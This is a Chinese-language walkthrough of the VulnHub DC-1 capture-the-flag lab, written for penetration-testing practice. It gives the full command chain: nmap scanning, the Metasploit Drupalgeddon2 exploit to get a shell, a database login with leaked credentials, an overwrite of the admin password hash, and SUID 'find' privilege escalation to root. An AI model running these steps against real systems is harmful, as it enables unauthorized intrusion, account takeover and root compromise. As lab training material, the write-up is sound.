一、環境搭建
1、官網下載連接:https://www.vulnhub.com/entry/dc-1,292/
2、下載之后,使用Oracle VM VirtualBox導入靶場環境
3、為了正常練習,將靶場的網卡模式設置為橋接模式,啟動即可
二、靶場攻略
1、使用nmap,快讀探測網段內存活主機,輸入命令:nmap -sP --min-hostgroup 1024 --min-parallelism 1024 10.10.114.0/24,發現靶場主機ip地址
2、探測靶場主機啟動的端口服務器情況,尋找突破口
輸入命令:nmap -A -P- 10.10.114.146,發現開啟的端口有22,80,111,33409
3、訪問80端口,尋找突破口,發現靶場使用的為Drupal的CMS
4、啟動msf,在msf中輸入命令:search Drupal,搜索到了利用的exp
輸入命令:use exploit/unix/webapp/drupal_drupalgeddon2,使用該exp
輸入命令:set rhosts 10.10.114.146,設置目標
輸入命令:run,啟動攻擊,成功getshell
輸入命令:python -c 'import pty;pty.spawn("/bin/bash")',獲取交互shell
5、在www目錄中,發現flag1.txt,還有下一步的提示
6、根據提示,尋找到配置文件,還有flag2,獲得下一步提示
7、根據配置文件和提示,登錄到數據庫中,尋找下一步突破口
輸入命令:mysql -udbuser -pR0ck3t
進入到配置文件中的數據庫drupaldb中,查看drupaldb數據庫的表,獲得users表
獲得users表中的賬號密碼信息
8、密碼是沒法破解成功的,搜尋資料,知道了Drupal的加密腳本在文件中,所以可以使用加密文件,將自己想要的密碼使用加密文件加密,之后將加密的字符寫入到對於的數據表中來登錄
重置密碼的方法
根據官網的方法使用命令:./scripts/password-hash.sh admin,獲得到加密的字符
然后將得到的加密字符,寫入到mysql數據庫對於的admin賬戶中
在mysql數據庫中輸入命令:update users set pass='$S$DROGKHBo1wFwcVZI7HBpIaxVUGKsUx3ktf6Zn4aqCzZueCiJHHmN' where uid=1;
使用修改后的admin管理員,成功登錄后台
9、在后台的Dashboard(儀表盤)處,發現flag3
10、返回shell中,尋找flag4,查看到下一步提醒,要獲得最后的flag,需要root權限
11、進行最后的提權,之前find命令既然可以執行,可以嘗試find提權
輸入命令:find / -user root -perm -4000 -print 2>/dev/null
輸入命令:find / -perm -u=s -type f 2>/dev/null
輸入命令:find / -user root -perm -4000 -exec ls -ldb {} ;
發現這幾個命令都可以正常執行
既然都可以正常執行,說明存在find的uid提權操作
切換到可寫目錄www中
輸入命令:touch shell
之后輸入命令:find -name shell -exec "/bin/sh" \; 成功提權,之后切換到/root目錄中,獲得最后的flag文件
完